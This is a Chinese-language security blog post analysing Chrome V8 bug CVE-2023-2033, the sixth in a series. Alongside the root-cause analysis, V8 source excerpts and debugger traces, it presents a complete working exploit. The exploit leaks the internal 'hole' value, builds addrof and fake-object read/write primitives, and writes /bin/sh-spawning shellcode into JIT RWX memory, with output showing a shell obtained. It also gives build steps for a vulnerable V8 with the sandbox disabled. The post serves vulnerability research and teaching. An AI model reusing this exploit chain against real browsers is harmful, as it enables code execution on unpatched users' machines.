-
-
chrome v8漏洞CVE-2023-2033分析
-
发表于: 2024-7-23 16:04 3597
-
chrome v8漏洞CVE-2023-2033分析
作者: coolboy
前言
这篇文章比较深入的介绍了v8漏洞CVE-2023-2033成因、原理、利用细节以及v8 sandbox对利用的缓解效用。介绍过程中会提及较多源码片段,结合源码享用风味更佳。与此同时提供了原创完整可用exp,这是笔者在其他地方没有找到的。
这是一个系列文章,本文是第六篇。前五篇:
- 第一篇:chrome v8漏洞CVE-2021-30632浅析
- 第二篇:chrome v8漏洞CVE-2021-37975浅析
- 第三篇:chrome v8漏洞CVE-2023-3420浅析
- 第四篇:chrome v8漏洞CVE-2020-16040浅析
- 第五篇:chrome v8 issue 1486342浅析
POC
先试为快。
编译v8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | # 推荐香港服务器,可以避免网络问题导致的编译失败。 # 笔者环境ubuntu22.04 git clone https: //chromium .googlesource.com /chromium/tools/depot_tools .git export PATH= /path/to/depot_tools :$PATH mkdir ~ /v8 cd ~ /v8 fetch v8 cd v8 # 补丁前一笔提交 git checkout f7a3499f6d7 gclient sync alias gm=~ /v8/tools/dev/gm .py gm x64.release # 修改编译参数再编译一次,将args.gn中的v8_enable_sandbox置为false(默认为true)。为什么需要修改编译参数,后面再讲。 # vi ~/v8/out/x64.release/args.gn # 第二次编译 gm x64.release # test . /out/x64 .release /d8 --help |
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | function doubleToTwoInts(doubleValue) { const buffer = new ArrayBuffer(8); const view = new DataView(buffer); view.setFloat64(0, doubleValue, true ); const intLow = view.getUint32(0, true ); const intHigh = view.getUint32(4, true ); return [intLow, intHigh]; } function sleepSync(ms) { const end = Date.now() + ms; while (Date.now() < end) { } } function twoIntsToDouble(intLow, intHigh) { const buffer = new ArrayBuffer(8); const view = new DataView(buffer); view.setUint32(0, intLow, true ); view.setUint32(4, intHigh, true ); return view.getFloat64(0, true ); // true表示使用小端字节序 } // ============================================================ var h0le = [0]; function leak_hole() { function rGlobal() { h0le[0] = globalThis.stack; } Error.captureStackTrace(globalThis); Error.prepareStackTrace = function () { Reflect.deleteProperty(Error, 'prepareStackTrace' ); Reflect.deleteProperty(globalThis, 'stack' ); Reflect.defineProperty( globalThis, 'stack' , {configurable: false , writable: true , enumerable: true , value: 1}); stack = undefined; for (let i = 0; i < 10000; i++) { rGlobal(); } sleepSync(2000); return undefined; }; Reflect.defineProperty( globalThis, 'stack' , {configurable: true , writable: true , enumerable: true , value: undefined}); delete globalThis.stack; rGlobal(); return h0le[0]; } function leak_stuff(obj) { let flag = true ; let index = Number(flag ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [obj]; var value1 = arr1.at(index * 4); var value2 = arr1.at(index * 7); return [value2, value1, arr1, arr2]; } var map_of_double_arr = 0; var prototype_of_double_arr = 0; function build_fake_obj(addr) { let flag = true ; let index = Number(flag ? the.hole : -1); index |= 0; index += 1; let arr1 = [0, {}]; let arr2 = [addr, 1.1, 1.1, 1.1, 1.1]; let fake_obj = arr1.at(index*8); return [fake_obj, arr1, arr2]; } function addressof(obj) { sleepSync(2000); [value2, value1, arr1, arr2] = leak_stuff(obj); var double_arr_info = doubleToTwoInts(value1); var obj_addr = doubleToTwoInts(value2); map_of_double_arr = double_arr_info[0]; prototype_of_double_arr = double_arr_info[1]; return obj_addr[0]; } let double_objcect = [1.1, 1.1]; function get_double_objcect_of_addr(addr) { let addr_of_arr = addressof(double_objcect); // map, prototype double_objcect[0] = twoIntsToDouble(map_of_double_arr, prototype_of_double_arr); // addr, length // elements of arr // arr[1] = twoIntsToDouble(addr_of_arr + 0xb8, 20); double_objcect[1] = twoIntsToDouble(addr - 8, 20); [fake, arr1, arr2] = build_fake_obj(twoIntsToDouble(addr_of_arr + 0x1dc, 0)); return fake; } function read(addr) { fake = get_double_objcect_of_addr(addr); return doubleToTwoInts(fake[0]); } function write(addr, value) { fake = get_double_objcect_of_addr(addr); fake[0] = twoIntsToDouble(value[0], value[1]); } function write_shell_code(rwx_addr, shellcode) { let shellArray = new Uint8Array(100); shellArray.fill(1); let shellArray_element_addr = addressof(shellArray) + 0x2c; write(shellArray_element_addr, rwx_addr); for (let i = 0; i < shellcode.length; i++) shellArray[i] = shellcode[i]; } let shellcode = new Uint8Array([ 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00, 0x00, 0x73, 0x68, 0x00, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e, 0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05 ]); const the = { hole: leak_hole() }; sleepSync(2000); for (let i = 0; i < 10000; i++) { leak_stuff(h0le); } addr = addressof(h0le); for (let i = 0; i < 10000; i++) { build_fake_obj(addr); } function shellcode_func() { return [ 1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284 ]; } for (let i = 0; i < 10000; i++) { shellcode_func(); } sleepSync(2000); // pwn addr_of_shellcode = addressof(shellcode_func); addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0]; console.log( "code object: " + addr_of_code_u32.toString(16)); addr_of_rwx_double = read(addr_of_code_u32 + 0x10); console.log( "rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16)); write_shell_code(addr_of_rwx_double, shellcode); shellcode_func(); |
执行./out/x64.release/d8 poc.js将会得到一个sh(由于并行编译,成功率80%左右),如下:
1 2 3 4 | user@user:~ /work/v8 $ . /out/x64 .release /d8 poc.js code object: 19d4e9 rwx: 0x5d8e88b84e40 $ |
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | var h0le = [0]; function leak_hole() { function rGlobal() { h0le[0] = globalThis.stack; } Error.captureStackTrace(globalThis); Error.prepareStackTrace = function () { Reflect.deleteProperty(Error, 'prepareStackTrace' ); Reflect.deleteProperty(globalThis, 'stack' ); Reflect.defineProperty( // 2 <--- globalThis, 'stack' , {configurable: false , writable: true , enumerable: true , value: 1}); stack = undefined; for (let i = 0; i < 10000; i++) { // 3 <--- rGlobal(); } sleepSync(2000); return undefined; }; Reflect.defineProperty( // 1 <--- globalThis, 'stack' , {configurable: true , writable: true , enumerable: true , value: undefined}); delete globalThis.stack; // 4 <--- rGlobal(); // 5 <--- return h0le[0]; } const the = { hole: leak_hole() }; console.log(the.hole); |
有漏洞的版本执行这段代码将得到hole,而打过补丁的版本将得到undefine。hole是什么呢?hole是一个v8实现的内部的值,不应该暴露给js。如果暴露给js,那么将会导致漏洞。更多hole的解释,参考can-anyone-explain-v8-bytecode-ldathehole。下面,将详细分析hole是如何泄露到js中的。
globalThis
什么是globalThis?完整信息可以参考MDN文档globalThis。简单的讲,它是一个对象,代表了一个集合,这个集合包含了所有的全局对象:属性、函数、变量等。申明一个全局变量obj,它也可以通过globalThis.obj来访问,两者是等价的。
Error
Error.captureStackTrace(globalThis) 这是一个非标准的JS api的调用,为globalThis对象添加stack属性。调用console.log(globalThis.stack)将会打印调用堆栈。
Error.prepareStackTrace是一个回调函数,在globalThis.stack发生修改操作的时候被调用。参考preparestacktrace
hole泄露过程
- 代码1处调用defineProperty对globalThis.stack属性进行修改,此时优先调用prepareStackTrace回调函数,当回调函数执行完之后继续执行defineProperty操作。
- 调用deleteProperty,删除回调函数,防止代码2处调用时对stack做修改时进行无限递归。
- 调用Reflect.deleteProperty,将stack属性从globalThis对象中移除。Error.captureStackTrace创建属性时,默认属性的configurable值为true,因此此处deleteProperty可以成功。
- 调用Reflect.defineProperty又重新定义stack属性,此时stack属性的configurable值被重新赋值为false,value被赋值为1.
- stack = undefined; stack的value从1被定义为undefined。
- 代码3处重复调用rGlobal,触发jit优化,将对rGlobal函数做优化。
- sleepSync(2000); 睡眠2秒钟
- 此时回调函数执行完毕,接着执行1处代码后续操作,将globalThis.stack的configurable设置为true。
- 4处代码得益于1处代码修改了configurable为true,因此可以delete成功。
- 4处代码delete并没有导致rGlobal解优化,此时globalThis.stack为hole,于是h0le[0]变为了hole泄露给js了。
上述过程中,看似平平无奇,实则内藏玄机。还有下面几个问题需要回答。
globalThis可以替换成其他全局对象吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | // ./out/x64.release/d8 --print-opt-code test.js function sleepSync(ms) { const end = Date.now() + ms; while (Date.now() < end) { } } var h0le = [0]; var global_obj = {}; function leak_hole() { function rGlobal() { h0le[0] = global_obj.stack; } Error.captureStackTrace(global_obj); Error.prepareStackTrace = function () { Reflect.deleteProperty(Error, 'prepareStackTrace' ); Reflect.deleteProperty(global_obj, 'stack' ); Reflect.defineProperty( global_obj, 'stack' , {configurable: false , writable: true , enumerable: true , value: 1}); stack = undefined; for (let i = 0; i < 10000; i++) { rGlobal(); } sleepSync(2000); return undefined; }; Reflect.defineProperty( global_obj, 'stack' , {configurable: true , writable: true , enumerable: true , value: undefined}); delete global_obj.stack; rGlobal(); return h0le[0]; } const the = { hole: leak_hole() }; console.log(the.hole); |
答案是不能。将globalThis替换成global_obj,上述代码将打印undefined。为什么呢?我们对比查看两份代码rGlobal的jit汇编。
左右两边分别对应globalThis及global_obj。
- globalThis.stack jit优化之后,变成了对PropertyCell的直接访问,PropertyCell对应属性的值,直接就是stack的值。
- global_obj.stack jit优化之后,变成了LoadICTrampoline函数调用,这个函数的作用是对global_obj对象,进行stack属性索引。
- 这两者的差别将导致4处代码delete globalThis.stack执行之后,一个返回hole,另外一个返回undefined
globalThis和global_obj,两者都是全局对象,为什么导致了jit优化代码的不同呢?经过一番调试了,找到了原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | // src/compiler/js-native-context-specialization.cc:1499: Reduction JSNativeContextSpecialization::ReduceNamedAccess(...) { // ... // Check if we have an access o.x or o.x=v where o is the target native // contexts' global proxy, and turn that into a direct access to the // corresponding global object instead. if (inferred_maps.size() == 1) { MapRef lookup_start_object_map = inferred_maps[0]; if (lookup_start_object_map.equals( native_context().global_proxy_object(broker()).map(broker()))) { // if (!native_context().GlobalIsDetached(broker())) { OptionalPropertyCellRef cell = native_context().global_object(broker()).GetPropertyCell( broker(), feedback.name()); if (!cell.has_value()) return NoChange(); // Note: The map check generated by ReduceGlobalAccesses ensures that we // will deopt when/if GlobalIsDetached becomes true. return ReduceGlobalAccess(node, lookup_start_object, receiver, value, feedback.name(), access_mode, key, *cell, effect); } } } // ... } |
ReduceNamedAccess 函数调用发生在jit编译的InliningPhase阶段(关于更多jit知识,可以查看前面几篇系列文章,或者其他公开文档)。参考注释可知,节选出来的代码做了一个优化,对于xxx.stack这样的属性访问,如果xxx是一个global proxy,即globalThis,那么globalThis.stack访问将被转换为对stack全局变量的直接访问。而global_obj.stack进不了这个分支,将进入到其他分支,被优化成对LoadICTrampoline函数的调用。
2处代码的作用是什么?
1 2 3 4 | Reflect.defineProperty( // 2 <--- globalThis, 'stack' , {configurable: false , writable: true , enumerable: true , value: 1}); stack = undefined; |
这两行代码产生了下面的效用:
- 给globalThis对象增加了stack属性
- stack属性的configurable值为false
- stack属性的value为1
- 将stack赋值为undefined,由于undefined(NULL)和1(SMI)属于不相同的类型,于是stack的cell_type为PropertyCellType::kMutable。(关于这部分知识,参考CVE-2021-30632关于PropertyCellType的介绍)
总结一下,给globalThis对象增加stack属性,同时stack的configurable为false,且value类型为kMutable。这都是为了通过上面调用的ReduceGlobalAccess函数的检查,见下面代码:
1 2 3 4 5 6 7 8 9 | // src/compiler/js-native-context-specialization.cc:1081: Reduction JSNativeContextSpecialization::ReduceGlobalAccess(...) { // ... if (property_details.cell_type() != PropertyCellType::kMutable || property_details.IsConfigurable()) { dependencies()->DependOnGlobalProperty(property_cell); } // ... } |
满足“stack的configurable为false,且value类型为kMutable”这两个条件才不会进入到dependencies()->DependOnGlobalProperty的调用,而这个函数的作用是,当stack的值发生变化时,将对当前函数进行解优化。回顾前面的代码:
1 2 3 4 | delete globalThis.stack; // 4 <--- 删除stack属性,stack属性被置为hole,如果调用DependOnGlobalProperty,那么rGlobal函数将执行解优化。 rGlobal(); // 5 <--- 如果发生解优化,将按照正常的逻辑,将hole转换为undefined返回给js return h0le[0]; |
至此,我们可以回答这个问题了。2处代码的作用就是给stack设置一个合适的值,使得DependOnGlobalProperty函数不被调用,从而在delete globalThis.stack执行的时候不对rGlobal函数做解优化(deopt)。 通过给d8传递参数--trace-deopt可以观察到解优化的日志,可以自行修改configurable为true进行观察。
1处代码执行时stack的configurable已经被回调置为false,为何configurable还能被修改为true?
1 2 3 4 5 6 7 8 9 | var obj = {}; Reflect.defineProperty( obj, 'abc' , {configurable: false , writable: true , enumerable: true , value: 1}); delete obj.abc; Reflect.defineProperty( obj, 'abc' , {configurable: true , writable: true , enumerable: true , value: 1}); |
如上代码,delete obj.abc和第二次Reflect.defineProperty调用都会失败。因为configurable已经被置为false了。
那么为什么1处代码在configurable已经为false的情况下,对configurable置为true仍然可以成功呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | // lldb ./out/x64.debug/d8 // r --allow-natives-syntax test.js function sleepSync(ms) { const end = Date.now() + ms; while (Date.now() < end) { } } var h0le = [0]; function leak_hole() { function rGlobal() { h0le[0] = globalThis.stack; } Error.captureStackTrace(globalThis); Error.prepareStackTrace = function () { // 将在v8中产生断点 %SystemBreak(); Reflect.deleteProperty(Error, 'prepareStackTrace' ); Reflect.deleteProperty(globalThis, 'stack' ); Reflect.defineProperty( globalThis, 'stack' , {configurable: false , writable: true , enumerable: true , value: 1}); stack = undefined; for (let i = 0; i < 10000; i++) { rGlobal(); } sleepSync(2000); return undefined; }; Reflect.defineProperty( globalThis, 'stack' , {configurable: true , writable: true , enumerable: true , value: undefined}); delete globalThis.stack; rGlobal(); return h0le[0]; } const the = { hole: leak_hole() }; console.log(the.hole); |
通过lldb调试d8,得到下面的调用堆栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT (code=EXC_I386_BPT, subcode=0x0) * frame #0: 0x0000000100987365 libv8_libbase.dylib`v8::base::OS::DebugBreak() at platform-posix.cc:719:1 frame #1: 0x000000010d8e3d0b libv8.dylib`v8::internal::__RT_impl_Runtime_SystemBreak(args=v8::internal::RuntimeArguments @ 0x00007ff7bfefbb90, isolate=0x00007fd211622000) at runtime-test.cc:1245:3 frame #2: 0x000000010d8e3959 libv8.dylib`v8::internal::Runtime_SystemBreak(args_length=0, args_object=0x00007ff7bfefbce0, isolate=0x00007fd211622000) at runtime-test.cc:1240:1 frame #3: 0x000000010bcbc7f8 libv8.dylib`Builtins_CEntry_Return1_ArgvInRegister_NoBuiltinExit + 56 frame #4: 0x000000010c155cff libv8.dylib`Builtins_CallRuntimeHandler + 511 frame #5: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264 frame #6: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92 frame #7: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135 frame #8: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefc020, args=140540211503232, args=38976828211793, args=38976829108977, args=38976829024833, args=3, args=0x00007fd20ff069e0) at simulator.h:154:12 frame #9: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefc288) at execution.cc:427:33 frame #10: 0x000000010c97be3f libv8.dylib`v8::internal::Execution::Call(isolate=0x00007fd211622000, callable=Handle<v8::internal::Object> @ 0x00007ff7bfefc280, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefc278, argc=2, argv=0x00007fd20ff069e0) at execution.cc:529:10 frame #11: 0x000000010ca2e939 libv8.dylib`v8::internal::ErrorUtils::FormatStackTrace(isolate=0x00007fd211622000, error=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc578, raw_stack=Handle<v8::internal::Object> @ 0x00007ff7bfefc570) at messages.cc:360:9 frame #12: 0x000000010ca360da libv8.dylib`v8::internal::ErrorUtils::GetFormattedStack(isolate=0x00007fd211622000, error_object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc758) at messages.cc:1031:5 frame #13: 0x000000010c4ecbff libv8.dylib`v8::internal::Accessors::ErrorStackGetter(key=Local<v8::Name> @ 0x00007ff7bfefc7b0, info=0x00007ff7bfefc880) at accessors.cc:859:8 frame #14: 0x000000010d4abda5 libv8.dylib`v8::internal::PropertyCallbackArguments::CallAccessorGetter(this=0x00007ff7bfefcb90, info=Handle<v8::internal::AccessorInfo> @ 0x00007ff7bfefc8c8, name=Handle<v8::internal::Name> @ 0x00007ff7bfefc8c0) at api-arguments-inl.h:315:3 frame #15: 0x000000010d4a9b2f libv8.dylib`v8::internal::Object::GetPropertyWithAccessor(it=0x00007ff7bfefd070) at objects.cc:1460:34 frame #16: 0x000000010d4a84c9 libv8.dylib`v8::internal::Object::GetProperty(it=0x00007ff7bfefd070, is_global_reference=false) at objects.cc:1182:16 frame #17: 0x000000010d302965 libv8.dylib`v8::internal::JSReceiver::GetOwnPropertyDescriptor(it=0x00007ff7bfefd070, desc=0x00007ff7bfefcfb0) at js-objects.cc:1929:10 frame #18: 0x000000010d30240f libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(it=0x00007ff7bfefd070, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1434:3 frame #19: 0x000000010d30235a libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd0d0, key=0x00007ff7bfefd130, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1232:10 frame #20: 0x000000010d302157 libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd160, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd158, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1213:10 frame #21: 0x000000010d3014dc libv8.dylib`v8::internal::JSReceiver::DefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSReceiver> @ 0x00007ff7bfefd320, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd318, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1203:10 frame #22: 0x000000010c5b7ee1 libv8.dylib`v8::internal::Builtin_Impl_ReflectDefineProperty(args=BuiltinArguments @ 0x00007ff7bfefd4d0, isolate=0x00007fd211622000) at builtins-reflect.cc:43:24 frame #23: 0x000000010c5b7754 libv8.dylib`v8::internal::Builtin_ReflectDefineProperty(args_length=8, args_object=0x00007ff7bfefd5f0, isolate=0x00007fd211622000) at builtins-reflect.cc:20:1 frame #24: 0x000000010bcbc8fd libv8.dylib`Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit + 61 frame #25: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264 frame #26: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264 frame #27: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92 frame #28: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135 frame #29: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefd9b0, args=140540211503232, args=38976828211793, args=38976829108033, args=38976829012981, args=1, args=0x0000000000000000) at simulator.h:154:12 frame #30: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefdc28) at execution.cc:427:33 frame #31: 0x000000010c97d780 libv8.dylib`v8::internal::Execution::CallScript(isolate=0x00007fd211622000, script_function=Handle<v8::internal::JSFunction> @ 0x00007ff7bfefdc20, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefdc18, host_defined_options=Handle<v8::internal::Object> @ 0x00007ff7bfefdc10) at execution.cc:540:10 frame #32: 0x000000010c330ad7 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefddf0, host_defined_options=Local<v8::Data> @ 0x00007ff7bfefdce8) at api.cc:2301:7 frame #33: 0x000000010c3305e8 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefdec0) at api.cc:2264:10 frame #34: 0x0000000100047e5a d8`v8::Shell::ExecuteString(isolate=0x00007fd211622000, source=Local<v8::String> @ 0x00007ff7bfefe1f8, name=Local<v8::String> @ 0x00007ff7bfefe1f0, print_result=kNoPrintResult, report_exceptions=kReportExceptions, process_message_queue=kProcessMessageQueue) at d8.cc:896:28 frame #35: 0x0000000100069379 d8`v8::SourceGroup::Execute(this=0x00007fd210a04088, isolate=0x00007fd211622000) at d8.cc:4380:10 frame #36: 0x000000010006e504 d8`v8::Shell::RunMainIsolate(isolate=0x00007fd211622000, keep_context_alive=false) at d8.cc:5183:37 frame #37: 0x000000010006df1a d8`v8::Shell::RunMain(isolate=0x00007fd211622000, last_run=true) at d8.cc:5103:18 frame #38: 0x0000000100070da2 d8`v8::Shell::Main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:5955:18 frame #39: 0x0000000100071682 d8`main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:6047:43 frame #40: 0x00007ff8100b4366 dyld`start + 1942 |
1 2 3 4 5 6 7 8 9 10 11 | // js-objects.cc Maybe< bool > JSReceiver::GetOwnPropertyDescriptor(LookupIterator* it, PropertyDescriptor* desc) { // ... Maybe< bool > intercepted = GetPropertyDescriptorWithInterceptor(it, desc); // ... if (!Object::GetProperty(it).ToHandle(&value)) { // ... } // ... } |
- GetPropertyDescriptorWithInterceptor函数获取了当前stack属性,存放在desc中。
- Object::GetProperty(it).ToHandle 函数调用将触发Error.prepareStackTrace回调。
- 也就是说执行回调前,v8已经将先前的stack属性缓存在desc变量中了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // js-objects.cc Maybe< bool > JSReceiver::OrdinaryDefineOwnProperty() { // ... PropertyDescriptor current; MAYBE_RETURN(GetOwnPropertyDescriptor(it, ¤t), Nothing< bool >()); // ... return ValidateAndApplyPropertyDescriptor( isolate, it, extensible, desc, ¤t, should_throw, Handle<Name>()); // ... } Maybe< bool > JSReceiver::ValidateAndApplyPropertyDescriptor() { // ... if (!current->configurable()) { if (desc->has_configurable() && desc->configurable()) { // RETURN_FAILURE } } // ... } |
- GetOwnPropertyDescriptor 获取先前的stack属性,存入current变量,并且调用Error.prepareStackTrace注册的回调
- ValidateAndApplyPropertyDescriptor通过current做configurable是否为true的判断,从而决定configurable是否可以修改
总结一下:
- Error.captureStackTrace定义了stack,此时stack默认configurable为true。
- 调用Reflect.defineProperty 意图修改configurable为true。下面将Reflect.defineProperty的内部动作进一步拆解。
- 此时优先获取configurable的值,并且缓存进current变量。
- 然后执行回调Error.prepareStackTrace,将configurable修改为false(目的是为了优化代码不被解优化)。
- 根据current变量进行判断,current变量中configurable为true,因此可以做任意修改。
- 最后Reflect.defineProperty将configurable从false修改为true。
sleepSync(2000)的作用是什么,可以不要或者睡眠其他时间吗?
在d8的release编译模式下,jit编译是同步进行的。rGlobal循环1万次,在某次(比如6000)执行之后,v8会开启一个新的线程对rGlobal函数进行编译,编译成功之后通知主线程,下一次执行就直接执行编译之后的代码。这个时机可能是9000次,也有可能到程序结束也得不到执行。因此这里睡眠2秒钟或者更长时间,等待编译结束。保证下一次执行的时候,是执行的jit代码。
POC详解
POC介绍一下跟此漏洞相关的地方。剩余的部分跟对象内存布局相关,可以通过%DebugPrint(需要附加d8参数--allow-native-syntax)查看内存布局进行调整各个魔数。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function leak_stuff(obj) { let flag = true ; let index = Number(flag ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [obj]; var value1 = arr1.at(index * 4); var value2 = arr1.at(index * 7); return [value2, value1, arr1, arr2]; } |
- the.hole的值是hole
- flag ? the.hole : -1 在优化时将产生了一个phi(hole|-1),优化器推测它的取值范围是[-1,-1]。关于phi是优化器的一个概念,它可以姑且被认为是"或"。hole | -1,因为hole是漏洞,不应该出现在phi的值里面,优化器不能正确处理,于是将phi(hole|-1)认为取值范围是[-1,-1]。
- 在经过index |= 0,index += 1运算之后,取值范围变为了[0,0]
- index * 4, index * 7,它们的取值范围都将为[0,0]
- 由于优化器认为计算结果只能为0,不会产生数组访问越界,因此在arr1.at对数组进行访问时,取消了前置的check节点,不再进行检查。
- 这些信息可以通过给d8添加参数--trace-representation得到,如下:
1 2 3 | #53:SpeculativeNumberBitwiseOr[Number](#48:JSToNumberConvertBigInt, #52:NumberConstant, #50:Checkpoint, #48:JSToNumberConvertBigInt) [Static type: Range(-1, -1)] #55:SpeculativeSafeIntegerAdd[SignedSmall](#53:SpeculativeNumberBitwiseOr, #54:NumberConstant, #53:SpeculativeNumberBitwiseOr, #48:JSToNumberConvertBigInt) [Static type: Range(0, 0)] #77:SpeculativeNumberMultiply[SignedSmall](#55:SpeculativeSafeIntegerAdd, #76:NumberConstant, #68:Checkpoint, #48:JSToNumberConvertBigInt) [Static type: Range(0, 0)] |
- 以上是优化器的逻辑,实际执行的时候flag ? the.hole : -1,由于flag为true,于是Number(flag ? the.hole : -1)等于Number(hole),它的值是NaN。
- NaN | 0 = 0
- 0 + 1 = 1
- index * 4, index * 7将等于4,7。此时对arr1进行访问将造成越界读。
- index * 7 里面存放的是obj对象的地址。
- index * 4 里面存放的是double arr 的map(4个字节)以及prototype(4个字节)的结构,这两个值用于后面构造一个fake double arr用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | function shellcode_func() { return [ 1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284 ]; } for (let i = 0; i < 10000; i++) { shellcode_func(); } // addr_of_shellcode = addressof(shellcode_func); addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0]; console.log( "code object: " + addr_of_code_u32.toString(16)); addr_of_rwx_double = read(addr_of_code_u32 + 0x10); console.log( "rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16)); write_shell_code(addr_of_rwx_double, shellcode); shellcode_func(); |
- 循环1万次将jit优化shellcode_func,会创建一块rwx的内存,并写上jit优化之后的汇编代码
- addressof 函数获取shellcode_func对象地址
- shellcode_func对象偏移0x18的地方存放code对象的地址
- code对象偏移0x10的地方存放rwx的地址
- write_shell_code将shellcode写入rwx
- 执行修改之后的shellcode_func
v8 sandbox
还记得前面提到过,需要在编译v8的时候修改编译选项,将args.gn中的v8_enable_sandbox置为false(默认为true)。它的作用是什么呢?当它为true的时候,将开启v8 sandbox,否则关闭。参考v8 sandbox。简单来讲,它的作用是创建一个沙箱,即使出现了漏洞,也不能直接执行代码,而需要再穿越这个沙箱才行。如果打开这个开关,我们的POC还会执行成功吗?答案是不能。区别在于:
1 2 3 4 5 6 7 8 9 10 | function write_shell_code(rwx_addr, shellcode) { let shellArray = new Uint8Array(100); shellArray.fill(1); let shellArray_element_addr = addressof(shellArray) + 0x2c; write(shellArray_element_addr, rwx_addr); for (let i = 0; i < shellcode.length; i++) shellArray[i] = shellcode[i]; } |
